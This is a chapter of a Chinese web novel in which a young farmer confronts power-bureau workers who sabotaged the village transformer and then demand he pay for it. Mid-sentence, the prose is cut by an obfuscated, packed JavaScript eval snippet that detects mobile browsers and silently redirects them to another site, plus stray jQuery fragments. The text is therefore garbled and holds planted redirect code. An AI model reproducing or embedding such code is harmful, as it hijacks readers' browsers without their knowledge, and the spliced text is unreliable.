一天的忙碌，让每个人都汗透衣衫，泥水满身。当夕阳终于西沉，将天际染成一片橘红，喧嚣渐歇，只有综合养殖基地和后院柴油发电机还在不知疲倦地轰鸣，维系着基本的运转。


    楼房前的空地上，人们搬出桌椅，借着天边最后的光亮，喝着粗茶，歇息闲聊。话题自然而然又绕到了上午张仲恒那场闹剧。


    胡标绘声绘色地讲着，康燕冰和张子强两位教授听了，也不由得摇头失笑。


    “这个张仲恒，学术上没什么建树，他的教授头衔水分不小，听说多是靠人情和……别的手段堆起来的。”


    康燕冰语气平和，却带着明显的疏离，“只是没想到，他竟能想出‘破坏生态环境’这么个由头来，真是……”


    张子强接口，神色多了几分严肃：“老康，虽说张仲恒本事不济，但他善于钻营，背后又有人撑腰，还是不能小觑。天扬，接下来你们还是要小心应对，他们不会轻易罢休。”


    正说着，陈宏利掏出手机看了一眼时间，疑惑地站起身，望向村口方向：“这都八点多了，怎么还没来电？通知上不是说晚上八点恢复供电吗？村里好多人家还等着用电做饭呢。”


    他的话音刚落，仿佛是为了印证他的疑问——


    “嘭！”


    一声沉闷却极具穿透力的爆响，陡然从村口方向传来，划破了渐浓的暮色！


    紧接着，远方的夜空中，一团橘红色的火光猛地窜起，夹杂着几缕黑烟，在昏暗的天幕下显得格外刺目！


    所有人都被这突如其来的巨响和火光惊得一愣，瞬间停止了交谈，齐刷刷地看向**传来的方向。


    “怎么回事？”陈宏利脸色一变，朝身边的胡振南、曹克雄一挥手，“走，咱们过去看看！”


    十几分钟后，三人脚步匆匆地赶了回来，每个人的脸色都异常难看，在昏黄的灯光下显得铁青。


    胡标见状，心头一沉，皱眉问道：“出什么事了？”


    胡振南看向父亲，声音发干，带着难以掩饰的怒气：“爹，是供电局的人！他们说……说是一个工人操作不当，在合闸送电的时候，把咱们村的变压器给……给烧爆了！”


    “什么？！”


    此言一出，在场所有人眼眸骤然收缩，倒吸一口凉气。如果说白天的停电检修还能勉强用“工作疏失”解释，那么现在变压器直接烧毁，性质就完全不同了！这已经不是简单的拖延，而是直接造成了设备的重大损坏！


    “他们不是专业的电力工人吗？怎么能犯这种低级错误？”曹勇腾地站起来，又急又怒。


    莫天扬的目光，却悄然转向不远处一直沉默站立的王海龙、李国强、**辉三人。四人视线在空中短暂交汇，彼此都看到了对方眼中的了然与冷意。


    他们心里清楚是怎么回事。上午那几个磨洋工的电工，在变压器上做的手脚——那几颗被故意拧松的关键螺丝，此刻“见效”了。无论是他们“忘了”恢复，还是故意为之，结果都是一样的：变压器损毁，停电时间将被无限期延长！


    “先不说这些了！”胡标用力拍了一下大腿，声音焦急，“这变压器一炸，村里家家户户连晚上做饭都成问题了！”


    这话戳中了所有人的痛处。如今可不是过去烧柴火灶、拉风箱的年代了，电饭锅、电磁炉、抽油烟机……电早已融入日常生活的每一个细节。突然断电一两天还能凑合，可要是变压器彻底毁了，不知道要等到何时才能修复，这基本的生活都要受到严重影响。


    “他们怎么说？”莫天扬看向陈宏利，声音平静，听不出太多波澜。


    陈宏利脸色铁青，显然是憋了一肚子火：“那帮孙子，一口咬定是咱们村的变压器本身老化严重，承受不住合闸电流才烧毁的！说更换变压器需要向上级打报告、走审批流程，光是等批复和调运新设备，至少就得十天半个月！这还只是‘乐观估计’！”


    他喘了口气，怒气更盛：“更可气的是，他们居然说，一台新变压器加上安装调试，费用至少要二十万！这钱得咱们村里自己想办法解决！另外，因为他们出工‘抢修’，还要额外收取上万元的‘施工费’和‘检测费’！这不是明抢吗？”


    “放**狗屁！”一旁的曹勇听到这里，再也按捺不住，一拳捶在桌子上，碗筷都震得跳了起来，“明明是他们的工人操作失误，把咱们的变压器弄炸了，现在倒打一耙，说是设备老化？还要我们掏钱给他们擦屁股？天下哪有这种道理！”


    胡标等人也是群情激愤，院子里顿时响起一片怒骂声。


    莫天扬皱了皱眉头，眼神却依旧沉静。他抬手虚按了一下，示意大家稍安勿躁。王海龙早就派人盯在村口，第一时间保护了现场并开始取证，对方这套颠倒黑白的说辞，早在他的预料之中，也构不成真正的威胁。


    “事情已经出了，光生气没用。”莫天扬的声音不大，却让嘈杂的院子渐渐安静下来，“先吃饭。吃饱了，才有力气应付后面的事。”


    他转向陈宏利，语气如常地吩咐道：“宏利，吃完饭，你联系一下凌哥，让他明天想办法，多调集一些柴油回来。发电机是咱们现在的命脉，油料供应绝不能断。”


    陈宏利愣了一下，随即重重点头：“好！我马上联系！”


    莫天扬的镇定和这份着眼于实际需求的安排，像一阵凉风，稍稍吹散了众人心头的燥怒。是啊，骂得再凶，也骂不来电，骂不来水。眼下最要紧的，是稳住阵脚，保住地里的蔬菜庄稼，维持住最基本的生活运转。


    翌日，后院的温室，早些天扦插下去的银叶紫桃差不多有一尺多高，紫玉霜枣也有几寸，鸡心金香果也是密密麻麻、


    看着血薯地中的陈亮、康燕冰、张自强，莫天扬压抑着心中的激动，当看到陈亮手中那一块血薯根茎上的嫩芽，他不由得长出口气。


    “天扬，成了，血薯发芽，你这古井水和土壤对血薯也有用处。”


    “太好了。”


    “来我给记录一下。”


    就在这时，莫天扬转头，他隐约间听到了有嘈杂的声音传来，就在下一刻，衣兜中的手机振动起来。


    “天扬，快出来！电力部门的人又来了，莫栓也带着一帮人在外面起哄！”


    大院门外，气氛已然不对。五六个穿着深蓝色电力制服的人站在最前面，为首的四十多岁中年男人，挺着肚子，脸上带着一种混合着公事公办与倨傲的神情。


    在他们身后，以莫栓为首，聚着三四十个村民，有的神情愤愤，有的眼神躲闪，更多的则是满脸焦急和茫然。


    当大青和小白一前一后从门内踱出，竖起耳朵，喉咙里发出低沉的警告声时，莫栓和他身边几个常挑事的，都下意识地缩了缩脖子，往人群里退了半步。他们太清楚这两条看着不起眼、实则凶猛异常的狗，以及院里那头偶尔露面的青狼的厉害。


    那电力部门的中年男人先是不耐烦地扫了一眼两条狗，随即看向带着口罩帽子、刚走出来的莫天扬，又回头用眼神确认了一下莫栓。莫栓连忙挤出一丝谄媚又肯定的表情，点了点头。


    “你就是莫天扬？”中年男人上前一步，语气居高临下，“我是县电业局运维部的马凡。”


    莫天扬心头冷笑，果然是麻烦上门，而且看样子还勾结了村里的刺头。“你们这是？”


    马凡清了清嗓子，拿出一份事先准备好的说辞：“你应该清楚，昨天村里的变压器烧毁了。经过我们技术部门的初步调查和分析，事故的直接原因，是你名下的种植、养殖产业用电负荷长期严重超标，远超变压器额定容量，导致设备绝缘老化、最终击穿烧毁！”


    他顿了顿，加重语气，“现在一台新变压器的市场价格是二十五万，如果由我们局专业队伍安装，还需要三万块的安装调试费。我们了解到，你一个人的用电量，几乎占了全村总用电的百分之九十以上！所以，经过与部分村民代表商议，”他说着，瞟了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039752|177151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一眼身后的莫栓等人，“大家一致认为，这笔费用，理应由你承担百分之九十！也就是……二十五万两千块！”


    他话音刚落，莫栓像是得到了信号，立刻跳了出来，指着莫天扬叫嚷：“莫天扬！**只顾自己发财，不管别人死活！要不是你没日没夜地用电，变压器能坏？老子家冰柜里几十斤牛肉全他妈臭了！这钱你必须赔！还有我们所有人的损失，你都得负责！”


    “就是啊，天扬，”人群里一个被莫栓拉拢的村民也跟着帮腔，语气却没那么硬气，“大家都晓得你现在用电最多，变压器烧了，你……你总得负主要责任吧？那位领导说得也在理，要不你就……”


    莫天扬眼神骤然一寒，如冰锥般刺向莫栓和那个帮腔的村民。两人接触到他的目光，浑身一激灵，后面的话生生咽了回去，脸上掠过一丝恐惧。他们可没忘，眼前这个年轻人，早就不是以前那个任人揉捏的闷葫芦了，狠起来是真敢动手！


    莫天扬没再理会这两条吠犬，转而看向匆匆赶来的胡标，声音清晰地问道：“标叔，咱们村原先那台变压器的额定功率，是多少千伏安来着？”


    胡标立刻大声回答：“三万！清清楚楚，三万千伏安！”


    莫天扬的目光重新锁定了马凡，语气带着毫不掩饰的嘲讽和质问：“听清楚了吗？三万！我这边所有电器，就算同时满负荷运转，峰值也不会超过一万五千！你说我们‘长期严重超标’？你这电工基础知识是跟门卫学的，还是你的上岗证是花钱买的？再说昨天一整天，我们村都在你们所谓的‘检修停电’中，根本没用一度电！是你们的人合闸操作不当，才把变压器给爆了！现在想把这屎盆子扣我头上，讹诈我？**是当我莫天扬是傻子，还是觉得我们全村人都是任你宰割的冤大头？”


    “你……你胡搅蛮缠！”马凡被这一连串事实质问砸得有些慌乱，尤其是“合闸操作不当”几个字，让他眼皮直跳，强撑着官威喝道，“我们是有数据依据的！你不要在这里信口雌黄！”


    “我胡搅蛮缠？”莫天扬怒极反笑，迈步就朝马凡走去，周身气势陡然凌厉起来，“老子高中物理还没忘光呢！拿这种漏洞百出的借口糊弄村里不懂的老人还行，想来糊弄我？我还没找你们算损坏设备、影响生产的账，你倒先上门来敲诈了？你当我是什么人？”


    胡标、曹勇等人看出莫天扬是真动了火气，生怕事态失控，赶紧上前将他拦住。“天扬，天扬！冷静点！道理在咱们这边，别动手，动手就说不清了！”


    莫天扬被众人拉着，手指却直指着马凡的鼻子，声音斩钉截铁：“变压器，你们弄坏的，钱你们出！村里因为停电造成的一切损失，也得你们赔！少一分都不行！”


    马凡被当众指着鼻子骂，脸上红一阵白一阵，又羞又恼，色厉内荏地喊道：“你……你一个乡下种地的，懂什么规章制度！不交钱，就别想我们给你安装新变压器！你们就等着一直摸黑吧！”


    “一天之内不给我恢复供电试试！”莫天扬的声音陡然拔高，带着一股凛冽的寒意，“老子让你身上这层皮都穿不稳！别以为你们昨天在变压器上做的那点手脚神不知鬼不觉！螺丝拧松了几颗，真当没人看见？”


    “你……！”马凡以及他身后那几个昨天来过现场的“电工”，脸色瞬间煞白，额头上冷汗一下就冒了出来。他们心里最清楚变压器烧毁的真实原因，本想借着身份和莫栓这帮人的怂恿，既能敲诈一笔，又能把责任推干净。他们不怕莫天扬发横，毕竟有“官方身份”挡着。可如果莫天扬真的掌握了他们破坏设备的证据……那性质就完全不同了！搞不好，真的要丢饭碗，甚至进去吃牢饭！


    “不和你这种不讲道理的人说，不交钱别想通电。”说话的同时马凡，看向莫栓等人。


    还没等莫栓等人说话，莫天扬眼眸一寒，“都**给我滚远点，别逼我动手，一群**。”